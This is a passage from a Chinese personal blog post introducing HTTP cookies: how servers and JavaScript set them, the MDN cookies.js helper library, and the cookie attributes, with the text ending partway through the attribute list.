<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
  <meta name="theme-color" content="#222">
  <meta name="generator" content="Hexo 5.4.0">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

  <link rel="stylesheet" href="/css/main.css">



  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.15.2/css/all.min.css">
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/animate.css@3.1.1/animate.min.css">

  <script class="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {
      "hostname": "holidaypenguin.gitee.io",
      "root": "/",
      "images": "/images",
      "scheme": "Mist",
      "version": "8.2.2",
      "exturl": false,
      "sidebar": {
        "position": "right",
        "display": "always",
        "padding": 18,
        "offset": 12
      },
      "copycode": true,
      "bookmark": {
        "enable": false,
        "color": "#222",
        "save": "auto"
      },
      "fancybox": false,
      "mediumzoom": false,
      "lazyload": false,
      "pangu": false,
      "comments": {
        "style": "tabs",
        "active": null,
        "storage": true,
        "lazyload": false,
        "nav": null
      },
      "motion": {
        "enable": true,
        "async": true,
        "transition": {
          "post_block": "fadeIn",
          "post_header": "fadeInDown",
          "post_body": "fadeInDown",
          "coll_header": "fadeInLeft",
          "sidebar": "slideUpIn"
        }
      },
      "prism": false,
      "i18n": {
        "placeholder": "搜索...",
        "empty": "没有找到任何搜索结果：${query}",
        "hits_time": "找到 ${hits} 个搜索结果（用时 ${time} 毫秒）",
        "hits": "找到 ${hits} 个搜索结果"
      },
      "path": "/search.xml",
      "localsearch": {
        "enable": true,
        "trigger": "auto",
        "top_n_per_article": 1,
        "unescape": false,
        "preload": false
      }
    };
  </script>
  <meta property="og:type" content="article">
  <meta property="og:title" content="cookie 简介">
  <meta property="og:url" content="https://holidaypenguin.gitee.io/blob/2019-04-15-introduction-to-cookie/index.html">
  <meta property="og:site_name" content="HolidayPenguin">
  <meta property="og:locale" content="zh_CN">
  <meta property="og:image" content="https://holidaypenguin.gitee.io/images/http/0002.png">
  <meta property="og:image" content="https://holidaypenguin.gitee.io/images/http/0003.png">
  <meta property="og:image" content="https://holidaypenguin.gitee.io/images/http/0004.png">
  <meta property="og:image" content="https://holidaypenguin.gitee.io/images/http/0005.png">
  <meta property="article:published_time" content="2019-04-15T11:58:34.000Z">
  <meta property="article:modified_time" content="2019-04-15T11:58:34.000Z">
  <meta property="article:author" content="holidaypenguin">
  <meta property="article:tag" content="cookie">
  <meta name="twitter:card" content="summary">
  <meta name="twitter:image" content="https://holidaypenguin.gitee.io/images/http/0002.png">


  <link rel="canonical" href="https://holidaypenguin.gitee.io/blob/2019-04-15-introduction-to-cookie/">


  <script class="page-configurations">
    // https://hexo.io/docs/variables.html
    CONFIG.page = {
      sidebar: "",
      isHome: false,
      isPost: true,
      lang: 'zh-CN'
    };
  </script>
  <title>cookie 简介 | HolidayPenguin</title>





  <noscript>
    <style>
      body {
        margin-top: 2rem;
      }

      .use-motion .menu-item,
      .use-motion .sidebar,
      .use-motion .post-block,
      .use-motion .pagination,
      .use-motion .comments,
      .use-motion .post-header,
      .use-motion .post-body,
      .use-motion .collection-header {
        visibility: visible;
      }

      .use-motion .header,
      .use-motion .site-brand-container .toggle,
      .use-motion .footer {
        opacity: initial;
      }

      .use-motion .site-title,
      .use-motion .site-subtitle,
      .use-motion .custom-logo-image {
        opacity: initial;
        top: initial;
      }

      .use-motion .logo-line {
        transform: scaleX(1);
      }

      .search-pop-overlay,
      .sidebar-nav {
        display: none;
      }

      .sidebar-panel {
        display: block;
      }
    </style>
  </noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
  <div class="headband"></div>

  <main class="main">
    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner">
        <div class="site-brand-container">
          <div class="site-nav-toggle">
            <div class="toggle" aria-label="切换导航栏" role="button">
              <span class="toggle-line"></span>
              <span class="toggle-line"></span>
              <span class="toggle-line"></span>
            </div>
          </div>

          <div class="site-meta">

            <a href="/" class="brand" rel="start">
              <i class="logo-line"></i>
              <h1 class="site-title">HolidayPenguin</h1>
              <i class="logo-line"></i>
            </a>
          </div>

          <div class="site-nav-right">
            <div class="toggle popup-trigger">
              <i class="fa fa-search fa-fw fa-lg"></i>
            </div>
          </div>
        </div>



        <nav class="site-nav">
          <ul class="main-menu menu">
            <li class="menu-item menu-item-home"><a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a></li>
            <li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a></li>
            <li class="menu-item menu-item-categories"><a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a></li>
            <li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a></li>
            <li class="menu-item menu-item-search">
              <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
              </a>
            </li>
          </ul>
        </nav>



        <div class="search-pop-overlay">
          <div class="popup search-popup">
            <div class="search-header">
              <span class="search-icon">
                <i class="fa fa-search"></i>
              </span>
              <div class="search-input-container">
                <input autocomplete="off" autocapitalize="off" maxlength="80" placeholder="搜索..." spellcheck="false" type="search" class="search-input">
              </div>
              <span class="popup-btn-close" role="button">
                <i class="fa fa-times-circle"></i>
              </span>
            </div>
            <div class="search-result-container no-result">
              <div class="search-result-icon">
                <i class="fa fa-spinner fa-pulse fa-5x"></i>
              </div>
            </div>

          </div>
        </div>

      </div>


      <div class="toggle sidebar-toggle" role="button">
        <span class="toggle-line"></span>
        <span class="toggle-line"></span>
        <span class="toggle-line"></span>
      </div>

      <aside class="sidebar">

        <div class="sidebar-inner sidebar-nav-active sidebar-toc-active">
          <ul class="sidebar-nav">
            <li class="sidebar-nav-toc">
              文章目录
            </li>
            <li class="sidebar-nav-overview">
              站点概览
            </li>
          </ul>

          <div class="sidebar-panel-container">
            <!--noindex-->
            <div class="post-toc-wrap sidebar-panel">
              <div class="post-toc animated">
                <ol class="nav">
                  <li class="nav-item nav-level-2"><a class="nav-link" href="#cookie-%E7%AE%80%E4%BB%8B"><span class="nav-number">1.</span> <span class="nav-text">cookie 简介</span></a></li>
                  <li class="nav-item nav-level-2"><a class="nav-link" href="#cookie-%E5%88%9B%E5%BB%BA"><span class="nav-number">2.</span> <span class="nav-text">cookie 创建</span></a>
                    <ol class="nav-child">
                      <li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E7%BD%AEcookie"><span class="nav-number">2.1.</span> <span class="nav-text">服务器设置cookie</span></a></li>
                      <li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AE%BE%E7%BD%AEcookie"><span class="nav-number">2.2.</span> <span class="nav-text">客户端设置cookie</span></a></li>
                    </ol>
                  </li>
                  <li class="nav-item nav-level-2"><a class="nav-link" href="#cookie-%E8%AF%BB%E5%8F%96"><span class="nav-number">3.</span> <span class="nav-text">cookie 读取</span></a></li>
                  <li class="nav-item nav-level-2"><a class="nav-link" href="#cookie-%E7%9A%84%E5%B1%9E%E6%80%A7"><span class="nav-number">4.</span> <span class="nav-text">cookie 的属性</span></a></li>
                  <li class="nav-item nav-level-2"><a class="nav-link" href="#cookie-%E5%AE%89%E5%85%A8"><span class="nav-number">5.</span> <span class="nav-text">cookie 安全</span></a>
                    <ol class="nav-child">
                      <li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%BC%9A%E8%AF%9D%E5%8A%AB%E6%8C%81%E5%92%8CXSS"><span class="nav-number">5.1.</span> <span class="nav-text">会话劫持和XSS</span></a></li>
                      <li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89"><span class="nav-number">5.2.</span> <span class="nav-text">跨站请求伪造（CSRF）</span></a></li>
                    </ol>
                  </li>
                  <li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%BF%BD%E8%B8%AA%E5%92%8C%E9%9A%90%E7%A7%81"><span class="nav-number">6.</span> <span class="nav-text">追踪和隐私</span></a></li>
                </ol>
                </li>
                <li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%8F%82%E8%80%83"><span class="nav-number"></span> <span class="nav-text">参考</span></a>
              </div>
            </div>
            <!--/noindex-->

            <div class="site-overview-wrap sidebar-panel">
              <div class="site-author site-overview-item animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
                <p class="site-author-name" itemprop="name">holidaypenguin</p>
                <div class="site-description" itemprop="description"></div>
              </div>
              <div class="site-state-wrap site-overview-item animated">
                <nav class="site-state">
                  <div class="site-state-item site-state-posts">
                    <a href="/archives/">

                      <span class="site-state-item-count">138</span>
                      <span class="site-state-item-name">日志</span>
                    </a>
                  </div>
                  <div class="site-state-item site-state-categories">
                    <a href="/categories/">

                      <span class="site-state-item-count">26</span>
                      <span class="site-state-item-name">分类</span></a>
                  </div>
                  <div class="site-state-item site-state-tags">
                    <a href="/tags/">

                      <span class="site-state-item-count">234</span>
                      <span class="site-state-item-name">标签</span></a>
                  </div>
                </nav>
              </div>
              <div class="links-of-author site-overview-item animated">
                <span class="links-of-author-item">
                  <a href="https://github.com/holidaypenguin" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;holidaypenguin" rel="noopener" target="_blank"><i class="github fa-fw"></i>GitHub</a>
                </span>
                <span class="links-of-author-item">
                  <a href="mailto:songshipeng2016@gmail.com" title="E-Mail → mailto:songshipeng2016@gmail.com" rel="noopener" target="_blank"><i class="envelope fa-fw"></i>E-Mail</a>
                </span>
              </div>



            </div>
          </div>
        </div>
      </aside>
      <div class="sidebar-dimmer"></div>


    </header>


    <div class="back-to-top" role="button">
      <i class="fa fa-arrow-up"></i>
      <span>0%</span>
    </div>

    <noscript>
      <div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
    </noscript>


    <div class="main-inner post posts-expand">





      <div class="post-block">



        <article itemscope itemtype="http://schema.org/Article" class="post-content" lang="zh-CN">
          <link itemprop="mainEntityOfPage" href="https://holidaypenguin.gitee.io/blob/2019-04-15-introduction-to-cookie/">

          <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
            <meta itemprop="image" content="/images/avatar.gif">
            <meta itemprop="name" content="holidaypenguin">
            <meta itemprop="description" content="">
          </span>

          <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
            <meta itemprop="name" content="HolidayPenguin">
          </span>
          <header class="post-header">
            <h1 class="post-title" itemprop="name headline">
              cookie 简介
            </h1>

            <div class="post-meta-container">
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>

                  <time title="创建时间：2019-04-15 19:58:34" itemprop="dateCreated datePublished" datetime="2019-04-15T19:58:34+08:00">2019-04-15</time>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-folder"></i>
                  </span>
                  <span class="post-meta-item-text">分类于</span>
                  <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                    <a href="/categories/HTTP/" itemprop="url" rel="index"><span itemprop="name">HTTP</span></a>
                  </span>
                </span>


                <span id="/blob/2019-04-15-introduction-to-cookie/" class="post-meta-item leancloud_visitors" data-flag-title="cookie 简介" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
              </div>

              <div class="post-description">
                <!-- more -->
              </div>
            </div>
          </header>




          <div class="post-body" itemprop="articleBody">
            <h2 id="cookie-简介"><a href="#cookie-简介" class="headerlink" title="cookie 简介"></a>cookie 简介</h2>
            <p>Cookie是由网景公司的前雇员Lou Montulli在1993年发明的，现今Cookie已经广泛使用了。</p>
            <p>HTTP Cookie（也叫Web Cookie或浏览器Cookie）是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常，它用于告知服务端两个请求是否来自同一浏览器，如保持用户的登录状态。Cookie使基于无状态的HTTP协议记录稳定的状态信息成为了可能。</p>
            <p>Cookie主要用于以下三个方面：</p>
            <ul>
              <li>会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）</li>
              <li>个性化设置（如用户自定义设置、主题等）</li>
              <li>浏览器行为跟踪（如跟踪分析用户行为等）</li>
            </ul>
            <p>Cookie曾一度用于客户端数据的存储，因当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie渐渐被淘汰。由于服务器指定Cookie后，浏览器的每次请求都会携带Cookie数据，会带来额外的性能开销（尤其是在移动环境下）。新的浏览器API已经允许开发者直接将数据存储到本地，如使用 <a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/API/Web_Storage_API">Web storage API</a> （本地存储和会话存储）或 <a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API">IndexedDB</a> 。</p>
            <p>所以当下Cookie只有一个功能：回话状态管理而且仅仅是用户登录状态保持。</p>
            <p>每个域名下的cookie 的大小最大为4KB，每个域名下的cookie数量最多为20个（但很多浏览器厂商在具体实现时支持大于20个）。</p>
            <h2 id="cookie-创建"><a href="#cookie-创建" class="headerlink" title="cookie 创建"></a>cookie 创建</h2>
            <p>当服务器收到HTTP请求时，服务器可以在响应头里面添加一个<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie选项</a>。浏览器收到响应后通常会保存下Cookie，之后对该服务器每一次请求中都通过<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cookie">Cookie请求头部</a>将Cookie信息发送给服务器。另外，Cookie的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。</p>
            <p>而且Cookie也可以由客户端设置。</p>
            <h3 id="服务器设置cookie"><a href="#服务器设置cookie" class="headerlink" title="服务器设置cookie"></a>服务器设置cookie</h3>
            <p>服务器使用<a target="_blank" rel="noopener" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a>响应头部向用户代理（一般是浏览器）发送Cookie信息。</p>
            <p>不管你是请求一个资源文件（如 html/js/css/图片），还是发送一个ajax请求，服务端都会返回<code>response</code>。而<code>response header</code>中有一项叫<code>set-cookie</code>，是服务端专门用来设置<code>cookie</code>的。如下图所示，服务端返回的<code>response header</code>中有5个<code>set-cookie</code>字段，每个字段对应一个<code>cookie</code>（注意不能将多个<code>cookie</code>放在一个<code>set-cookie</code>字段中），<code>set-cookie</code>字段的值就是普通的字符串，每个<code>cookie</code>还设置了相关属性选项。</p>
            <p><a target="_blank" rel="noopener" href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a></p>
            <figure class="highlight plain">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line">response.setHeader(&#39;Set-Cookie&#39;, [&#39;type&#x3D;ninja&#39;, &#39;language&#x3D;javascript&#39;]);</span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>

            <p><img src="" data-original="/images/http/0002.png" alt="0002"></p>
            <p>注意：</p>
            <ul>
              <li>一个set-Cookie字段只能设置一个cookie，当你要想设置多个 cookie，需要添加同样多的set-Cookie字段。</li>
              <li>服务端可以设置cookie 的所有选项：expires、domain、path、secure、HttpOnly</li>
            </ul>
            <h3 id="客户端设置cookie"><a href="#客户端设置cookie" class="headerlink" title="客户端设置cookie"></a>客户端设置cookie</h3>
            <p>通过js代码来设置cookie，在控制台中我们执行了下面代码</p>
            <figure class="highlight js">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line"><span class="built_in">document</span>.cookie = <span class="string">&quot;name=Jonh; &quot;</span>;</span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>
            <p>查看浏览器 cookie 面板如下图所示，cookie确实设置成功了，而且属性选项 domain、path、expires都用了默认值。<br><img src="" data-original="/images/http/0003.png" alt="0003"><br>再执行下面代码：</p>
            <figure class="highlight js">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line"><span class="built_in">document</span>.cookie=<span class="string">&quot;age=12; expires=Thu, 26 Feb 2116 11:50:25 GMT; domain=sankuai.com; path=/&quot;</span>;</span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>
            <p>查看浏览器cookie 面板，如下图所示，新的cookie设置成功了，而且属性选项 domain、path、expires都变成了设定的值。<br><img src="" data-original="/images/http/0004.png" alt="0004"></p>
            <ul>
              <li>客户端可以设置cookie 的下列选项：expires、domain、path、secure（有条件：只有在https协议的网页中，客户端设置secure类型的 cookie 才能成功），但无法设置HttpOnly选项。</li>
              <li>用js一次也是只能设置一个cookie。</li>
              <li>cookie存储的是字符串，所以对象需要先toString，或者自定义toString，如果有特殊字符需要编码（<a href="../2019-04-15-distinguish-escape,-encodeuri-and-encodeuricomponent/">编码参考这里</a>）</li>
            </ul>
            <p>一个简单cookie例子，里面包含增删改查cookie的例子：</p>
            <figure class="highlight js">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line"><span class="comment">/*\</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  :: cookies.js ::</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  A complete cookies reader/writer framework with full unicode support.</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  Revision #3 - July 13th, 2017</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie</span></span><br><span class="line"><span class="comment">|*|  https://developer.mozilla.org/User:fusionchess</span></span><br><span class="line"><span class="comment">|*|  https://github.com/madmurphy/cookies.js</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  This framework is released under the GNU Public License, version 3 or later.</span></span><br><span class="line"><span class="comment">|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  Syntaxes:</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])</span></span><br><span class="line"><span class="comment">|*|  * docCookies.getItem(name)</span></span><br><span class="line"><span class="comment">|*|  * docCookies.removeItem(name[, path[, domain]])</span></span><br><span class="line"><span class="comment">|*|  * docCookies.hasItem(name)</span></span><br><span class="line"><span class="comment">|*|  * docCookies.keys()</span></span><br><span class="line"><span class="comment">|*|</span></span><br><span class="line"><span class="comment">\*/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> docCookies = &#123;</span><br><span class="line">  getItem: <span class="function"><span class="keyword">function</span> (<span class="params">sKey</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!sKey) &#123; <span class="keyword">return</span> <span class="literal">null</span>; &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">decodeURIComponent</span>(<span class="built_in">document</span>.cookie.replace(<span class="keyword">new</span> <span class="built_in">RegExp</span>(<span class="string">&quot;(?:(?:^|.*;)\\s*&quot;</span> + <span class="built_in">encodeURIComponent</span>(sKey).replace(<span class="regexp">/[\-\.\+\*]/g</span>, <span class="string">&quot;\\$&amp;&quot;</span>) + <span class="string">&quot;\\s*\\=\\s*([^;]*).*$)|^.*$&quot;</span>), <span class="string">&quot;$1&quot;</span>)) || <span class="literal">null</span>;</span><br><span class="line">  &#125;,</span><br><span class="line">  setItem: <span class="function"><span class="keyword">function</span> (<span class="params">sKey, sValue, vEnd, sPath, sDomain, bSecure</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!sKey || <span class="regexp">/^(?:expires|max\-age|path|domain|secure)$/i</span>.test(sKey)) &#123; <span class="keyword">return</span> <span class="literal">false</span>; &#125;</span><br><span class="line">    <span class="keyword">var</span> sExpires = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">if</span> (vEnd) &#123;</span><br><span class="line">      <span class="keyword">switch</span> (vEnd.constructor) &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="built_in">Number</span>:</span><br><span class="line">          sExpires = vEnd === <span class="literal">Infinity</span> ? <span class="string">&quot;; expires=Fri, 31 Dec 9999 23:59:59 GMT&quot;</span> : <span class="string">&quot;; max-age=&quot;</span> + vEnd;</span><br><span class="line">          <span class="comment">/*</span></span><br><span class="line"><span class="comment">          Note: Despite officially defined in RFC 6265, the use of `max-age` is not compatible with any</span></span><br><span class="line"><span class="comment">          version of Internet Explorer, Edge and some mobile browsers. Therefore passing a number to</span></span><br><span class="line"><span class="comment">          the end parameter might not work as expected. A possible solution might be to convert the the</span></span><br><span class="line"><span class="comment">          relative time to an absolute time. For instance, replacing the previous line with:</span></span><br><span class="line"><span class="comment">          */</span></span><br><span class="line">          <span class="comment">/*</span></span><br><span class="line"><span class="comment">          sExpires = vEnd === Infinity ? &quot;; expires=Fri, 31 Dec 9999 23:59:59 GMT&quot; : &quot;; expires=&quot; + (new Date(vEnd * 1e3 + Date.now())).toUTCString();</span></span><br><span class="line"><span class="comment">          */</span></span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="built_in">String</span>:</span><br><span class="line">          sExpires = <span class="string">&quot;; expires=&quot;</span> + vEnd;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="built_in">Date</span>:</span><br><span class="line">          sExpires = <span class="string">&quot;; expires=&quot;</span> + vEnd.toUTCString();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">document</span>.cookie = <span class="built_in">encodeURIComponent</span>(sKey) + <span class="string">&quot;=&quot;</span> + <span class="built_in">encodeURIComponent</span>(sValue) + sExpires + (sDomain ? <span class="string">&quot;; domain=&quot;</span> + sDomain : <span class="string">&quot;&quot;</span>) + (sPath ? <span class="string">&quot;; path=&quot;</span> + sPath : <span class="string">&quot;&quot;</span>) + (bSecure ? <span class="string">&quot;; secure&quot;</span> : <span class="string">&quot;&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">  &#125;,</span><br><span class="line">  removeItem: <span class="function"><span class="keyword">function</span> (<span class="params">sKey, sPath, sDomain</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="built_in">this</span>.hasItem(sKey)) &#123; <span class="keyword">return</span> <span class="literal">false</span>; &#125;</span><br><span class="line">    <span class="built_in">document</span>.cookie = <span class="built_in">encodeURIComponent</span>(sKey) + <span class="string">&quot;=; expires=Thu, 01 Jan 1970 00:00:00 GMT&quot;</span> + (sDomain ? <span class="string">&quot;; domain=&quot;</span> + sDomain : <span class="string">&quot;&quot;</span>) + (sPath ? <span class="string">&quot;; path=&quot;</span> + sPath : <span class="string">&quot;&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">  &#125;,</span><br><span class="line">  hasItem: <span class="function"><span class="keyword">function</span> (<span class="params">sKey</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!sKey || <span class="regexp">/^(?:expires|max\-age|path|domain|secure)$/i</span>.test(sKey)) &#123; <span class="keyword">return</span> <span class="literal">false</span>; &#125;</span><br><span class="line">    <span class="keyword">return</span> (<span class="keyword">new</span> <span class="built_in">RegExp</span>(<span class="string">&quot;(?:^|;\\s*)&quot;</span> + <span class="built_in">encodeURIComponent</span>(sKey).replace(<span class="regexp">/[\-\.\+\*]/g</span>, <span class="string">&quot;\\$&amp;&quot;</span>) + <span class="string">&quot;\\s*\\=&quot;</span>)).test(<span class="built_in">document</span>.cookie);</span><br><span class="line">  &#125;,</span><br><span class="line">  keys: <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">var</span> aKeys = <span class="built_in">document</span>.cookie.replace(<span class="regexp">/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g</span>, <span class="string">&quot;&quot;</span>).split(<span class="regexp">/\s*(?:\=[^;]*)?;\s*/</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> nLen = aKeys.length, nIdx = <span class="number">0</span>; nIdx &lt; nLen; nIdx++) &#123; aKeys[nIdx] = <span class="built_in">decodeURIComponent</span>(aKeys[nIdx]); &#125;</span><br><span class="line">    <span class="keyword">return</span> aKeys;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>

            <p>如果上面代码中设定过期时间使用的小时或者天，可以使用下面的方法：</p>
            <figure class="highlight js">
              <table>
                <tr>
                  <td class="gutter">
                    <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                  </td>
                  <td class="code">
                    <pre><span class="line"><span class="keyword">var</span> exdate = <span class="keyword">new</span> <span class="built_in">Date</span>()</span><br><span class="line">sExpires = exdate.setTime(exdate.getTime() + sExpires * <span class="number">864e+5</span>) <span class="comment">// 时间类型是天</span></span><br><span class="line">sExpires = exdate.setTime(exdate.getTime() + sExpires * <span class="number">36e+5</span>) <span class="comment">// 时间类型是小时</span></span><br></pre>
                  </td>
                </tr>
              </table>
            </figure>

            <p>由于服务器和浏览器的时间不是同步的，有时会设置 Max-Age 属性，但是该属性是HTTP/1.1才有的，因此需要向下兼容使用 expires。</p>
            <h2 id="cookie-读取"><a href="#cookie-读取" class="headerlink" title="cookie 读取"></a>cookie 读取</h2>
            <p>普通读取使用<code>document.cookie</code>读取，如果需要读取单个cookie查看<a href="../2019-04-15-introduction-to-cookie/#%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AE%BE%E7%BD%AEcookie">上面例子</a></p>
            <p>有时读取cookie需要跨域，<a href="../2019-04-02-browser-homology-policy/#%E8%B7%A8%E6%BA%90%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8%E8%AE%BF%E9%97%AE">查看跨源数据存储访问</a></p>
            <h2 id="cookie-的属性"><a href="#cookie-的属性" class="headerlink" title="cookie 的属性"></a>cookie 的属性</h2>
            <p>在chrome控制台中的Application选项卡中可以看到cookie的信息。<br><img src="" data-original="/images/http/0005.png" alt="0005"></p>
            <ul>
              <li>key<br>为一个cookie的名称，对应控制台中的Name列。</li>
              <li>value<br>为一个cookie的值，对应控制台中的Value列。</li>
              <li>Domain 和 Path<br>分别对应控制台的 Domain 和 Path 列。<ul>
                  <li><code>Domain</code> 和 <code>Path</code> 标识定义了Cookie的作用域：即Cookie应该发送给哪些URL(URL 可以是js/html/img/css资源请求等XHR 请求)。但是跨域的请求默认是不会发送Cookie的，查看原因<a href="../2019-04-09-cross-domain-resource-sharing-cors/#%E9%99%84%E5%B8%A6%E8%BA%AB%E4%BB%BD%E5%87%AD%E8%AF%81%E7%9A%84%E8%AF%B7%E6%B1%82">附带身份凭证的请求</a>。</li>
                  <li><code>Domain</code> 标识指定了哪些主机可以接受Cookie。如果不指定，默认为当前文档的主机。如果设置为一级域名，则子域名能识别到该Cookie。</li>
